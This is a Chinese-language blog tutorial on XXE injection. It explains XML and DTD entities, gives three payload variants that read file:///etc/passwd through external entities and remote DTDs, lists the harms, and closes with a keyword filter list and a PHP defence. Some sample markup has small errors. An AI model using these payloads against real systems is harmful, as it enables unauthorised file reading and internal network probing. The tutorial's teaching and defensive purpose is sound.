0x00 什么是XXE
XXE(XML External Entity Injection)即XML外部实体注入。漏洞是在对非安全的外部实体数据进⾏行处理时引发的安全问题。
所以,学习XXE漏洞当然要先了解XML基础。
0x01 XML基础
1.文档结构
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:
- 元素
- 属性
- 实体,用来定义普通文本的变量
- PCDATA,被解析的字符数据(parsed character data)
- CDATA ,字符数据(character data)
2.DTD
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
内部的 DOCTYPE 声明
<!DOCTYPE 根元素 [元素声明]>
外部文档声明
<!DOCTYPE 根元素 SYSTEM "文件名">
3.DTD实体
- 参数实体用%实体名称申明,引用时也用%实体名称;
其余实体直接用实体名称申明,引用时用&实体名称。 - 参数实体只能在DTD中申明,DTD中引用;
其余实体只能在DTD中申明,可在xml文档中引用。
内部实体声明
语法:
<!ENTITY 实体名称 "实体的值">
EG:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer "0nc3">
<!ENTITY blog "blog.csdn.net/syy0201">
]>
<author>&writer;&blog;</author>
外部实体声明
语法:
<!ENTITY 实体名称 SYSTEM "URI">
EG:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer SYSTEM "https://blog.csdn.net/syy0201">
<!ENTITY blog SYSTEM "https://blog.csdn.net/syy0201">
]>
<author>&writer;&blog;</author>
参数实体声明
语法:
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">
EG:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % writer "0nc3">
<!ENTITY % blog "https://blog.csdn.net/syy0201">
]>
<author>&writer;&blog;</author>
0x02 构造XXE
方式一:直接通过DTD外部实体声明
<?xml version="1.0"?>
<!DOCTYPE 0nc3[
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<hhh>&f;<hhh>
方式二:通过DTD文档引入外部DTD文档中的外部实体声明
XML文件内容:
<?xml version="1.0"?>
<!DOCTYPE 0nc3 SYSTEM "https://blog.csdn.net/syy0201/0nc3.dtd">
<hhh>&f;<hhh>
DTD文件内容:
<!ENTITY f SYSTEM "file:///etc/passwd">
方式三:通过DTD外部实体声明引入外部DTD文档中的外部实体声明
<?xml version="1.0"?>
<!DOCTYPE 0nc3[
<!ENTITY f SYSTEM "https://blog.csdn.net/syy0201/0nc3.dtd">
]>
<hhh>&f;<hhh>
0nc3.dtd的外部实体声明内容:
<!ENTITY f SYSTEM "file:///etc/passwd">
!!注意:方式二和方式三一个是通过DTD文档引入,一个是通过DTD外部实体声明引入。
0x03 XXE带来的危害
1.文件读取
2.命令执行
3.内网探测/SSRF
借助各种协议如http,XXE可以协助扫描内网,可能可以访问到内网开放WEB服务的Server,并获取其他信息
先存着几篇关于XXE漏洞利用写得很棒的文章,下次再深入学习~
XXE漏洞利用技巧:从XML到远程代码执行
未知攻焉知防——XXE漏洞攻防
0x04 如何防御XXE
1.过滤用户提交的XML数据
过滤关键词:<!DOCTYPE
和<!ENTITY
,或者SYSTEM
和PUBLIC
2. PHP下
libxml_disable_entity_loader(true);
0x05 参考
http://www.91ri.org/9539.html
https://thief.one/2017/06/20/1/
https://www.jianshu.com/p/7325b2ef8fc9